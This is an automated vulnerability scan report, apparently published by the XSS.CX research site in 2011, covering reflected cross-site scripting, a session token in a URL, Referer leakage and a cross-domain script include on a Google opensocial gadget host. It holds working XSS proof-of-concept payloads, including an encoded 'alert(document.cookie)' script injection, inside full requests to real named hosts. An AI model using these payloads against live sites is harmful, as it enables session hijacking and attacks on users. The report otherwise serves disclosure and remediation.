XSS, mc8tdi0ripmbp ds25eboaupdulritrp6-a-fc -opensocial.googleus ercontent.com, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 13 07:14:03 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

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1. Cross-site scripting (reflected)

2. Session token in URL

3. Cross-domain Referer leakage

4. Cross-domain script include


1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 28022%0aalert(1)//cb8709d41a3 was submitted in the url parameter. This input was echoed as 28022
alert(1)//cb8709d41a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/osapi-0.8.xml28022%0aalert(1)//cb8709d41a3&container=peoplesense&parent=http://www.webboar.com/&mid=0&view=profile&d=0.555.7&lang=en&communityId=09351883725403906883&caller=http://www.webboar.com/tags/Local%2520Communities/page-7?a0b48%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Efd499a0205b%3D1 HTTP/1.1
Host: mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Sun, 13 Mar 2011 02:54:39 GMT
Expires: Sun, 13 Mar 2011 02:54:39 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 128

Unable to retrieve spec for http://www.google.com/friendconnect/gadgets/osapi-0.8.xml28022
alert(1)//cb8709d41a3. HTTP error 400
2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Path:   /ps/ifr

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /ps/ifr?container=friendconnect&mid=0&nocache=0&view=profile&parent=http%3A%2F%2Fwww.webboar.com%2F&url=http%3A%2F%2Fwww.google.com%2Ffriendconnect%2Fgadgets%2Fosapi-0.8.xml&communityId=09351883725403906883&caller=http%3A%2F%2Fwww.webboar.com%2Ftags%2FLocal%2520Communities%2Fpage-7%3Fa0b48%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253Efd499a0205b%3D1&rpctoken=2049359795 HTTP/1.1
Host: mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Location: http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com/gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/osapi-0.8.xml&container=peoplesense&parent=http://www.webboar.com/&mid=0&view=profile&d=0.555.7&lang=en&communityId=09351883725403906883&caller=http://www.webboar.com/tags/Local%2520Communities/page-7?a0b48%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Efd499a0205b%3D1#st=e%3DAOG8GaC%252FGr9RMqefQ%252FaAUIZOA2%252Brap9%252FuLt2D0yersCPiNot2sgv4mx%252BeoPgmJA2WaA298F8D4mzDUngnKTwEaY8NJWydBp2%252B99n7WKAi%252BcztBlpmNzxuGGc421Uy5IYfBe1jtWOeFpOcLCTzbT1gFt50X6IILH6JbwrYzfLOpa573srXRLJccdnmBu38V5qgVqD%252BnpGD3nzkaEaXFWnyA7seFYzSYDXNQmdGQlenQfohrgkYIRJUv%252FtR4CsJWNeWO2vwr%252FTNowTVoZPBJYBzJNJZIpwdbvEjtGpEEJnUO8u8ho5Rl5H4cHFx8QrRAvQMdXdPwtuF0BCC1VO5BEkQPoK7CDZkekxmapQvqUkXxnenGlwtcjf6vI%253D%26c%3Dpeoplesense&rpctoken=2049359795&
Content-Type: text/html; charset=UTF-8
Date: Sun, 13 Mar 2011 02:53:50 GMT
Expires: Sun, 13 Mar 2011 02:53:50 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 1113

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-o
...[SNIP]...
3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/osapi-0.8.xml&container=peoplesense&parent=http://www.webboar.com/&mid=0&view=profile&d=0.555.7&lang=en&communityId=09351883725403906883&caller=http://www.webboar.com/tags/Local%2520Communities/page-7?a0b48%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Efd499a0205b%3D1 HTTP/1.1
Host: mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Expires: Sun, 13 Mar 2011 02:59:29 GMT
Cache-Control: private,max-age=300
Date: Sun, 13 Mar 2011 02:54:29 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 128277

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><script>window['__isgadget']=true;</script><script>var gadgets=window.gadgets||{},shi
...[SNIP]...
<body dir="ltr"><script src="http://www.google.com/friendconnect/script/gadget_util.js?d=0.555.7" type="text/javascript">
</script>
...[SNIP]...
4. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/osapi-0.8.xml&container=peoplesense&parent=http://www.webboar.com/&mid=0&view=profile&d=0.555.7&lang=en&communityId=09351883725403906883&caller=http://www.webboar.com/tags/Local%2520Communities/page-7?a0b48%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Efd499a0205b%3D1 HTTP/1.1
Host: mc8tdi0ripmbpds25eboaupdulritrp6-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Expires: Sun, 13 Mar 2011 02:59:29 GMT
Cache-Control: private,max-age=300
Date: Sun, 13 Mar 2011 02:54:29 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 128277

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><script>window['__isgadget']=true;</script><script>var gadgets=window.gadgets||{},shi
...[SNIP]...
<body dir="ltr"><script src="http://www.google.com/friendconnect/script/gadget_util.js?d=0.555.7" type="text/javascript">
</script>
...[SNIP]...
Report generated by XSS.CX at Sun Mar 13 07:14:03 CDT 2011.